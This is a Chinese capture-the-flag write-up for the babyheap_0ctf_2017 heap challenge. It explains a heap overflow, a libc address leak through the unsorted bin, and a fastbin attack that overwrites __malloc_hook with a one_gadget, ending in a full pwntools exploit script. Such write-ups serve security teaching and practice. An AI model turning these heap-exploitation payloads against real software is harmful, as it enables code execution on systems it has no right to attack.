[BUUCTF]PWN——babyheap_0ctf_2017
步骤:
例行检查,64位,保护全开
试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个视频,我也刚接触堆不久,有些地方我也讲不清楚
ida载入,先看一下main函数,做堆题的时候需要将程序给理清楚了,这边的几个选项函数一开始不是如图所示的,我们可以右击给他重新命名一下,为了让我们看的更清楚
add,就是简单的创建一个chunk
在创建堆时有一个结构体,这个结构体大概是这样的:
struct pr_heap
{
double alloc_or_not; #0或者1,表示是否分配(0表示没有分配,1表示分配)
double size; #创建chunk的大小
void *heap; #chunk的内存地址
};
edit,我们写入数据的长度是我们可以自己控制的,我们可以利用这点溢出到另一个堆块上
free,普通的释放chunk的过程
show
利用思路
两次 double free 与 fastbin attack 。
第一次先泄露 libc 地址,然后找到构造 fake chunk 的地址。
第二次通过构造的 fake chunk 堆溢出覆写 __malloc_hook 完成 get shell 。
关于堆的一些参数看一下这篇文章
利用过程
1、通过unsortedbin attack 来泄露libc地址
首先应该记住这样一条规律:当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了,所以重点是当small chunk释放时,能读出fd 或者 bk的值
我首先通过如下重叠两个块来泄漏libc的地址(也是常见的攻击)。
提前申请几个小堆块
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free两个fast bin
free(1)
free(2)
由于 fastbin 是 LIFO ,切是单向链表链接的(依赖 fd 指针链接下一个 fastbin)
所ifree 2个fast bin,第二个fast bin的fd会指向第一个fast bin
然后向index=0的内存填充数据,由于堆溢出的漏洞,可以覆盖后边的内存。我们把 chunk 2 的内容覆盖为 chunk 4 的地址
将如图标记处修改为chuk4的地址,只用修改低8字节即可
payload = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0, payload)
修改后
现在chunk2的fd指向了chunk4,这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin 中。
我们等下要 malloc 回 chunk 4 ,可是 malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小来通过检查,然后通过两次(因为fast bin是单链表)alloc,就可以small chunk放入fast bin中了
payload = p64(0)*3+p64(0x21)
fill(3, payload)
alloc(0x10)
alloc(0x10)
chunk4被我们修改成了fastbin
这样就有2个指针指向同一个chunk了,然后恢复其size大小,申请回来在释放掉(释放时,是当做small bin释放的),接着查看对应chunk的index就好了
payload = p64(0)*3+p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。
libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
0x3c4b78?
libc_base=(程序里的main_arena+88)-0x3c4b78(0x3c4b0+88,一般2.23_64的偏移都是这个,不同libc版本会有不同)](https://editor.csdn.net/md/?articleId=111307531)
index=2?
由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址,所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1,第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2,也就是说 index 2 与 index 4 的内容都是 chunk 4)
到这里我们能够获得libc_base了
2、 改写malloc_hook为one_gadget
获得了 libc 地址,我们可以使用 fastbin attack 将一个 libc 上的地址放入 fastbin 链表中,然后 malloc 出来,这样就可已改写 libc 的内容。malloc_hook 是一个 libc 上的函数指针,调用 malloc 时如果该指针不为空则执行它指向的函数,可以通过写 malloc_hook 来 getshell。
同样的,这里我们也要绕过 malloc 的安全检查,chunksize 必须与 fastbin_index 相对应,初看 __malloc_hook 附近没有合适的 chunksize,这里需要巧妙的偏移一下。
可以发现在 0x7f2a8a09eaed 处构造块可以绕过检测(因为 7f 满足 0x70 大小),可以计算 0x7f2a8a09eaed 距离 libc 基址的偏移为 0x3c4aed
alloc(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
接着将malloc_hook改为one_gadget,这样我们在malloc的时候就能够获取shell了
alloc(0x60)
alloc(0x60)
payload = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a)
fill(6, payload)
alloc(255)
完整EXP:
from pwn import *
import sys
context.log_level = "debug"
elf = ELF("./babyheap_0ctf_2017")
libc = ELF("./libc-2.23 .so")
p = process("./babyheap_0ctf_2017")
#p=remote('node3.buuoj.cn',29218)
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
#gdb.attach(p)
free(1)
free(2)
#gdb.attach(p)
payload = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0, payload)
#gdb.attach(p)
payload = p64(0)*3+p64(0x21)
fill(3, payload)
#gdb.attach(p)
alloc(0x10)
alloc(0x10)
#gdb.attach(p)
payload = p64(0)*3+p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
#gdb.attach(p)
libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
alloc(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
alloc(0x60)
alloc(0x60)
payload = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a)
fill(6, payload)
alloc(255)
p.interactive()
参考wp:
https://poning.me/2017/03/24/baby-heap-2017/
https://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
https://bbs.pediy.com/thread-223461.htm